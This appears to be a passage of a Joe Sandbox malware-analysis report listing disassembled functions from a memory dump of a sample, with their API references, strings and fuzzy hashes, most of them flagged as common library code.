Associated: 00000005.00000002.1997119056.0000000000B67000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997150424.0000000000B7C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997171475.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_b20000_MSID8B1.jbxd

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_$Find_elemH_prolog3_
String ID: 0123456789-$0123456789-
API String ID: 3042121994-2494171821
Opcode ID: 9f5c97a8960a3efa31ad650812cc9dd4fcf259ac2e928eaaf2e29a82ef23ae53
Instruction ID: 3b2957de00225868d6181c6d8fd252deb945b376bbe32c94fcd0bac3987ab6fb
Opcode Fuzzy Hash: 9f5c97a8960a3efa31ad650812cc9dd4fcf259ac2e928eaaf2e29a82ef23ae53
Instruction Fuzzy Hash: 46417C71D00218EFCF05EFA8D881A9EBBF5FF14314F10059AE815AB252DB74DA42DB91

Uniqueness

Uniqueness Score: -1.00%

Function 00B38386 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 73COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00B3838D

Part of subcall function 00B31C42: _Maklocstr.LIBCPMT ref: 00B31C62
Part of subcall function 00B31C42: _Maklocstr.LIBCPMT ref: 00B31C7F
Part of subcall function 00B31C42: _Maklocstr.LIBCPMT ref: 00B31C9C
Part of subcall function 00B31C42: _Maklocchr.LIBCPMT ref: 00B31CAE
Part of subcall function 00B31C42: _Maklocchr.LIBCPMT ref: 00B31CC1

_Mpunct.LIBCPMT ref: 00B3841A
_Mpunct.LIBCPMT ref: 00B38434

Strings

$+xv, xrefs: 00B3843F

Memory Dump Source

Source File: 00000005.00000002.1997068000.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000005.00000002.1997049517.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997119056.0000000000B67000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997150424.0000000000B7C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997171475.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_b20000_MSID8B1.jbxd

Similarity

API ID: Maklocstr$MaklocchrMpunct$H_prolog3
String ID: $+xv
API String ID: 2939335142-1686923651
Opcode ID: 1138f34b9e421bff5f53588317ce1b804d9eb690a079379819603cd2d23cdc05
Instruction ID: bfabba402b7636a61ef8c3917ac42dc5c1631b7eaf3c1296d1b09916c1c3f277
Opcode Fuzzy Hash: 1138f34b9e421bff5f53588317ce1b804d9eb690a079379819603cd2d23cdc05
Instruction Fuzzy Hash: 5F21C4B1804B926ED725DF79C48073BBEF8AB08700F140A9AF459C7A42D774E601CB90

Uniqueness

Uniqueness Score: -1.00%

Function 00B3FFEA Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 73COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00B3FFF1
_Mpunct.LIBCPMT ref: 00B4007E
_Mpunct.LIBCPMT ref: 00B40098

Strings

$+xv, xrefs: 00B400A3

Memory Dump Source

Source File: 00000005.00000002.1997068000.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000005.00000002.1997049517.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997119056.0000000000B67000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997150424.0000000000B7C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997171475.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_b20000_MSID8B1.jbxd

Similarity

API ID: Mpunct$H_prolog3
String ID: $+xv
API String ID: 4281374311-1686923651
Opcode ID: f78f95769a418a8861bfdec67375334060b9c97175a6065991481a3a7039f25c
Instruction ID: 0944b40613661c9a9537b371a9b08be1d7da9466b49c8adcad15b0ffc642138f
Opcode Fuzzy Hash: f78f95769a418a8861bfdec67375334060b9c97175a6065991481a3a7039f25c
Instruction Fuzzy Hash: 0E21C4B1904B556ED721EF74849073BBEF8AB08300F144A9AE499C7A42D374E701CB90

Uniqueness

Uniqueness Score: -1.00%

Function 00B224C0 Relevance: 6.4, APIs: 5, Instructions: 145memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,?,?,?,?,?,00B21434,?,00000000), ref: 00B22569
LocalAlloc.KERNEL32(00000040,?,?,?,?,?,00B21434,?,00000000), ref: 00B22589
LocalFree.KERNEL32(?,00B21434,?,00000000), ref: 00B225DF
CloseHandle.KERNEL32(00000000,823FDEC6,?,00000000,00B63C40,000000FF,00000008,?,?,?,?,00B21434,?,00000000), ref: 00B22633
LocalFree.KERNEL32(?,823FDEC6,?,00000000,00B63C40,000000FF,00000008,?,?,?,?,00B21434), ref: 00B22647

Memory Dump Source

Source File: 00000005.00000002.1997068000.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000005.00000002.1997049517.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997119056.0000000000B67000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997150424.0000000000B7C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997171475.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_b20000_MSID8B1.jbxd

Similarity

API ID: Local$AllocFree$CloseHandle
String ID:
API String ID: 1291444452-0
Opcode ID: f03ac0fd51501bca2ae19ac14e6c44bf631d98bbf5d9124bb8042f0cb41e8bb3
Instruction ID: a012d7ef32a584fd7849c4c9ba07c96a04692f093ca5e8f0244360ab7900d055
Opcode Fuzzy Hash: f03ac0fd51501bca2ae19ac14e6c44bf631d98bbf5d9124bb8042f0cb41e8bb3
Instruction Fuzzy Hash: 64410C72600321BBC7149F38E894B5AB7D8EF59360F1047AAF92AC76E0DB74DD4487A0

Uniqueness

Uniqueness Score: -1.00%

Function 00B61D9B Relevance: 6.3, APIs: 4, Instructions: 338fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32(823FDEC6,?,00000000,?), ref: 00B61DFE

Part of subcall function 00B5A9BB: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?,0000FDE9,00000000,-00000008,00000000,?,00B56F5E,?,00000000,-00000008), ref: 00B5AA67

WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 00B62059
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 00B620A1
GetLastError.KERNEL32 ref: 00B62144

Memory Dump Source

Source File: 00000005.00000002.1997068000.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000005.00000002.1997049517.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997119056.0000000000B67000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997150424.0000000000B7C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997171475.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_b20000_MSID8B1.jbxd

Similarity

API ID: FileWrite$ByteCharConsoleErrorLastMultiOutputWide
String ID:
API String ID: 2112829910-0
Opcode ID: 3f25242d09a6794c785daef7865edbe6273cf640f8a0e34f902dedcde5e145b3
Instruction ID: 1c489e2b42ce87b29811648c839ff73c42177c49362c1b52d6def1c081f663f3
Opcode Fuzzy Hash: 3f25242d09a6794c785daef7865edbe6273cf640f8a0e34f902dedcde5e145b3
Instruction Fuzzy Hash: EED187B5D046489FDF05CFA8D880AADBBF8FF09304F1845AAE929EB351D734A945CB50

Uniqueness

Uniqueness Score: -1.00%

Function 00B335F7 Relevance: 6.3, APIs: 4, Instructions: 282COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 00B335FE
_strcspn.LIBCMT ref: 00B33666
_strcspn.LIBCMT ref: 00B33686
ctype.LIBCPMT ref: 00B336E4

Memory Dump Source

Source File: 00000005.00000002.1997068000.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000005.00000002.1997049517.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997119056.0000000000B67000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997150424.0000000000B7C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997171475.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_b20000_MSID8B1.jbxd

Similarity

API ID: _strcspn$H_prolog3_ctype
String ID:
API String ID: 838279627-0
Opcode ID: 4c1fbeae65817869df80e11c941db82685616cceebe520a13d113ca8ec6ecd3e
Instruction ID: 1214dfed66c15f28a951106bb910923251dac14ae0f10928af617b669dec7f75
Opcode Fuzzy Hash: 4c1fbeae65817869df80e11c941db82685616cceebe520a13d113ca8ec6ecd3e
Instruction Fuzzy Hash: 68B15CB5900249EFDF11DF98C881AEEBBF9FF48710F244199E805AB251D730AE55CB60

Uniqueness

Uniqueness Score: -1.00%

Function 00B2DA6F Relevance: 6.3, APIs: 4, Instructions: 279COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 00B2DA76
_strcspn.LIBCMT ref: 00B2DADE
_strcspn.LIBCMT ref: 00B2DAFE
ctype.LIBCPMT ref: 00B2DB5C

Memory Dump Source

Source File: 00000005.00000002.1997068000.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000005.00000002.1997049517.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997119056.0000000000B67000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997150424.0000000000B7C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997171475.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_b20000_MSID8B1.jbxd

Similarity

API ID: _strcspn$H_prolog3_ctype
String ID:
API String ID: 838279627-0
Opcode ID: 85f1776d1861aeb38400bfecc0900ba3f6e311584490891d65bf7b6ddd347877
Instruction ID: 1441dd68ad6f8e5c3566b7e9f82a1b5bfe648c9737080a735daa36d3ce87622e
Opcode Fuzzy Hash: 85f1776d1861aeb38400bfecc0900ba3f6e311584490891d65bf7b6ddd347877
Instruction Fuzzy Hash: 57B15B71D00269DFDF10DF94D881AEEBBF9EF08300F144599E819AB216D770AE46CB60

Uniqueness

Uniqueness Score: -1.00%

Function 00B45A58 Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 00B45B1F
___AdjustPointer.LIBCMT ref: 00B45B42
___AdjustPointer.LIBCMT ref: 00B45BDE

Memory Dump Source

Source File: 00000005.00000002.1997068000.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000005.00000002.1997049517.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997119056.0000000000B67000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997150424.0000000000B7C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997171475.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_b20000_MSID8B1.jbxd

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: a82635dd216bcca0a63521ef913df801b832d66d79bd241db78bf2c2731b61bf
Instruction ID: a5cd9229b28609456bbaf0e787265b4a36fe1c13652c041313b97bb21e4ea0c5
Opcode Fuzzy Hash: a82635dd216bcca0a63521ef913df801b832d66d79bd241db78bf2c2731b61bf
Instruction Fuzzy Hash: 1051D372600F069FDB398F54D891B6A77F4EF44310F1445A9E805972A2E731EE50E790

Uniqueness

Uniqueness Score: -1.00%

Function 00B524E8 Relevance: 6.1, APIs: 4, Instructions: 79COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1997068000.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000005.00000002.1997049517.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997119056.0000000000B67000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997150424.0000000000B7C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997171475.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_b20000_MSID8B1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 076138f108973fc3d2a7fc617e017dba191e8c24d82edbe6be596319ba2f0916
Instruction ID: 81bbec1f346dff6c8f09a1e1972429d0580ccc8693de490af490c3da31fcb010
Opcode Fuzzy Hash: 076138f108973fc3d2a7fc617e017dba191e8c24d82edbe6be596319ba2f0916
Instruction Fuzzy Hash: C521CF31605205AFEB21AF60ECA1E2A77E9FF6636670089D6FC1597150EB30ED089760

Uniqueness

Uniqueness Score: -1.00%

Function 00B26FB0 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 77COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,00000002,80004005,S-1-5-18,00000008), ref: 00B26FB7

Strings

Call to ShellExecute() for verb<, xrefs: 00B26FC1
> returned:, xrefs: 00B26FC6
Last error=, xrefs: 00B27011

Memory Dump Source

Source File: 00000005.00000002.1997068000.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000005.00000002.1997049517.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997119056.0000000000B67000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997150424.0000000000B7C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997171475.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_b20000_MSID8B1.jbxd

Similarity

API ID: ErrorLast
String ID: > returned:$Call to ShellExecute() for verb<$Last error=
API String ID: 1452528299-1781106413
Opcode ID: 85d50588a12083377005747459f1ffb8e482a999068d96e9482c96aae4cfd4ed
Instruction ID: d9d5e62d86d3a74beb26eeb0f69f3f37798e984d98df6800bb27fe5a692af24d
Opcode Fuzzy Hash: 85d50588a12083377005747459f1ffb8e482a999068d96e9482c96aae4cfd4ed
Instruction Fuzzy Hash: 21219F59A1027182CB301F28A41173AA2E0EF54758F6548AFE8CDD7390EEA98C828399

Uniqueness

Uniqueness Score: -1.00%

Function 00B2CCE0 Relevance: 6.1, APIs: 4, Instructions: 65fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,40000000,00000001,00000000,00000004,00000080,00000000,823FDEC6), ref: 00B2CD1C
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002,?,40000000,00000001,00000000,00000004,00000080,00000000), ref: 00B2CD3C
WriteFile.KERNEL32(00000000,?,?,?,00000000,?,40000000,00000001,00000000,00000004,00000080,00000000), ref: 00B2CD6D
CloseHandle.KERNEL32(00000000,?,?,?,00000000,?,40000000,00000001,00000000,00000004,00000080,00000000), ref: 00B2CD86

Memory Dump Source

Source File: 00000005.00000002.1997068000.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000005.00000002.1997049517.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997119056.0000000000B67000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997150424.0000000000B7C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997171475.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_b20000_MSID8B1.jbxd

Similarity

API ID: File$CloseCreateHandlePointerWrite
String ID:
API String ID: 3604237281-0
Opcode ID: 0294664830a81d03fdfd3d27a187773a09fa540e5df61fa10869a4b0ed7349ab
Instruction ID: ea7a7c6d19c0db72f4e6a585e0913ae9163d3791f8589c6981878df6594cf07b
Opcode Fuzzy Hash: 0294664830a81d03fdfd3d27a187773a09fa540e5df61fa10869a4b0ed7349ab
Instruction Fuzzy Hash: F221B171941315ABD7218F54DD09FAEBBF8EB05B14F104269F518B72D0DBB46A0487E4

Uniqueness

Uniqueness Score: -1.00%

Function 00B327A2 Relevance: 6.0, APIs: 4, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00B327A9
std::_Lockit::_Lockit.LIBCPMT ref: 00B327B3

Part of subcall function 00B28C20: std::_Lockit::_Lockit.LIBCPMT ref: 00B28C50
Part of subcall function 00B28C20: std::_Lockit::~_Lockit.LIBCPMT ref: 00B28C78

std::_Facet_Register.LIBCPMT ref: 00B32804
std::_Lockit::~_Lockit.LIBCPMT ref: 00B32824

Memory Dump Source

Source File: 00000005.00000002.1997068000.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000005.00000002.1997049517.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997119056.0000000000B67000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997150424.0000000000B7C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997171475.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_b20000_MSID8B1.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Register
String ID:
API String ID: 2854358121-0
Opcode ID: 4ace659dcaef62c1119dbd9e3dea1a7464063f61f028b53c8dcfe64bf3b7b2e1
Instruction ID: fee3f8d8d078c06764cfb66a56bac11f0d022d4df27c1376d3ecd883fbfa4255
Opcode Fuzzy Hash: 4ace659dcaef62c1119dbd9e3dea1a7464063f61f028b53c8dcfe64bf3b7b2e1
Instruction Fuzzy Hash: CC018035900229DBCB15EBA498516BE77F1FF84B20F380589E9196B292DF749E018791

Uniqueness

Uniqueness Score: -1.00%

Function 00B2D7E7 Relevance: 6.0, APIs: 4, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00B2D7EE
std::_Lockit::_Lockit.LIBCPMT ref: 00B2D7F8

Part of subcall function 00B28C20: std::_Lockit::_Lockit.LIBCPMT ref: 00B28C50
Part of subcall function 00B28C20: std::_Lockit::~_Lockit.LIBCPMT ref: 00B28C78

std::_Facet_Register.LIBCPMT ref: 00B2D849
std::_Lockit::~_Lockit.LIBCPMT ref: 00B2D869

Memory Dump Source

Source File: 00000005.00000002.1997068000.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000005.00000002.1997049517.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997119056.0000000000B67000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997150424.0000000000B7C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997171475.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_b20000_MSID8B1.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Register
String ID:
API String ID: 2854358121-0
Opcode ID: 9b256585575e0e803334890fb2450e5d6fbb0bce955c1891269d76d0069993e7
Instruction ID: 87e50708c9215b100efad3ad172fee9ba389de8bbd4be6ae79898665d7b9e6a7
Opcode Fuzzy Hash: 9b256585575e0e803334890fb2450e5d6fbb0bce955c1891269d76d0069993e7
Instruction Fuzzy Hash: 3501CC36900129DFCB15FB64E8526BEB7F1FF84720F280489E4186B291CF749E018B91

Uniqueness

Uniqueness Score: -1.00%

Function 00B3270D Relevance: 6.0, APIs: 4, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00B32714
std::_Lockit::_Lockit.LIBCPMT ref: 00B3271E

Part of subcall function 00B28C20: std::_Lockit::_Lockit.LIBCPMT ref: 00B28C50
Part of subcall function 00B28C20: std::_Lockit::~_Lockit.LIBCPMT ref: 00B28C78

std::_Facet_Register.LIBCPMT ref: 00B3276F
std::_Lockit::~_Lockit.LIBCPMT ref: 00B3278F

Memory Dump Source

Source File: 00000005.00000002.1997068000.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000005.00000002.1997049517.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997119056.0000000000B67000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997150424.0000000000B7C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997171475.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_b20000_MSID8B1.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Register
String ID:
API String ID: 2854358121-0
Opcode ID: 78de371b52ac39b3798759668c94ddaa4c6da51c2fcb0a8efacf4723487f8db2
Instruction ID: 0fe0611f8f74d0cb50e0ab648f4262105187366618ee9da159d1569fe951491d
Opcode Fuzzy Hash: 78de371b52ac39b3798759668c94ddaa4c6da51c2fcb0a8efacf4723487f8db2
Instruction Fuzzy Hash: 1F019235910229DBCB15FB64D8566BEB7F1FF84720F380589F5186B292CF749E018B91

Uniqueness

Uniqueness Score: -1.00%

Function 00B2D752 Relevance: 6.0, APIs: 4, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00B2D759
std::_Lockit::_Lockit.LIBCPMT ref: 00B2D763

Part of subcall function 00B28C20: std::_Lockit::_Lockit.LIBCPMT ref: 00B28C50
Part of subcall function 00B28C20: std::_Lockit::~_Lockit.LIBCPMT ref: 00B28C78

std::_Facet_Register.LIBCPMT ref: 00B2D7B4
std::_Lockit::~_Lockit.LIBCPMT ref: 00B2D7D4

Memory Dump Source

Source File: 00000005.00000002.1997068000.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000005.00000002.1997049517.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997119056.0000000000B67000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997150424.0000000000B7C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997171475.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_b20000_MSID8B1.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Register
String ID:
API String ID: 2854358121-0
Opcode ID: 764fc1e4eb25fbfe3c81e837963f4860adb4510ad935df217f54396e7f87d940
Instruction ID: bcaa7e211db368f3afd73acf7835201276518f43e7ad9f58a3116873d15c722c
Opcode Fuzzy Hash: 764fc1e4eb25fbfe3c81e837963f4860adb4510ad935df217f54396e7f87d940
Instruction Fuzzy Hash: CA01C0369001299FCB05FB64A8526BE77F1FF84720F280489E8186B291CF789E008791

Uniqueness

Uniqueness Score: -1.00%

Function 00B328CC Relevance: 6.0, APIs: 4, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00B328D3
std::_Lockit::_Lockit.LIBCPMT ref: 00B328DD

Part of subcall function 00B28C20: std::_Lockit::_Lockit.LIBCPMT ref: 00B28C50
Part of subcall function 00B28C20: std::_Lockit::~_Lockit.LIBCPMT ref: 00B28C78

std::_Facet_Register.LIBCPMT ref: 00B3292E
std::_Lockit::~_Lockit.LIBCPMT ref: 00B3294E

Memory Dump Source

Source File: 00000005.00000002.1997068000.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000005.00000002.1997049517.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997119056.0000000000B67000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997150424.0000000000B7C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997171475.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_b20000_MSID8B1.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Register
String ID:
API String ID: 2854358121-0
Opcode ID: 5fcaab6a51624c4218745d520c85ba38ac8597da46067ed9bebf2c8e54f50649
Instruction ID: c76967cb797b9b91eededb79fd1266ca667ec6b616640f820c835ef93b7a3bf9
Opcode Fuzzy Hash: 5fcaab6a51624c4218745d520c85ba38ac8597da46067ed9bebf2c8e54f50649
Instruction Fuzzy Hash: 1801D231900229DBCB11FB64D8616BE77F1FF84720F340599F5186B291CFB49E018791

Uniqueness

Uniqueness Score: -1.00%

Function 00B32837 Relevance: 6.0, APIs: 4, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00B3283E
std::_Lockit::_Lockit.LIBCPMT ref: 00B32848

Part of subcall function 00B28C20: std::_Lockit::_Lockit.LIBCPMT ref: 00B28C50
Part of subcall function 00B28C20: std::_Lockit::~_Lockit.LIBCPMT ref: 00B28C78

std::_Facet_Register.LIBCPMT ref: 00B32899
std::_Lockit::~_Lockit.LIBCPMT ref: 00B328B9

Memory Dump Source

Source File: 00000005.00000002.1997068000.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000005.00000002.1997049517.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997119056.0000000000B67000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997150424.0000000000B7C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997171475.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_b20000_MSID8B1.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Register
String ID:
API String ID: 2854358121-0
Opcode ID: 310f2ca145d0b6ccb58a63b58c3d991f3b7ad29e364b88a6142d42920d7ad0d1
Instruction ID: 4b773d0b19850e67beefcc7a2d5fe5c34e2c820b82eb00a72ddf9f6fe5f74eb0
Opcode Fuzzy Hash: 310f2ca145d0b6ccb58a63b58c3d991f3b7ad29e364b88a6142d42920d7ad0d1
Instruction Fuzzy Hash: 2501CC36D00129DBCB11EB64D851ABEB7F1FF84720F380589E418AB292CF749E008B91

Uniqueness

Uniqueness Score: -1.00%

Function 00B3E96D Relevance: 6.0, APIs: 4, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00B3E974
std::_Lockit::_Lockit.LIBCPMT ref: 00B3E97E

Part of subcall function 00B28C20: std::_Lockit::_Lockit.LIBCPMT ref: 00B28C50
Part of subcall function 00B28C20: std::_Lockit::~_Lockit.LIBCPMT ref: 00B28C78

std::_Facet_Register.LIBCPMT ref: 00B3E9CF
std::_Lockit::~_Lockit.LIBCPMT ref: 00B3E9EF

Memory Dump Source

Source File: 00000005.00000002.1997068000.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000005.00000002.1997049517.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997119056.0000000000B67000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997150424.0000000000B7C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997171475.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_b20000_MSID8B1.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Register
String ID:
API String ID: 2854358121-0
Opcode ID: 692d4735644e10125db7d508adb33687aea84569364af52e58f5e51cdd4364cf
Instruction ID: 4033e522357d0167c39cd3fe4340a2d748df48d234b8b1c3d9d648b2dbfb2b80
Opcode Fuzzy Hash: 692d4735644e10125db7d508adb33687aea84569364af52e58f5e51cdd4364cf
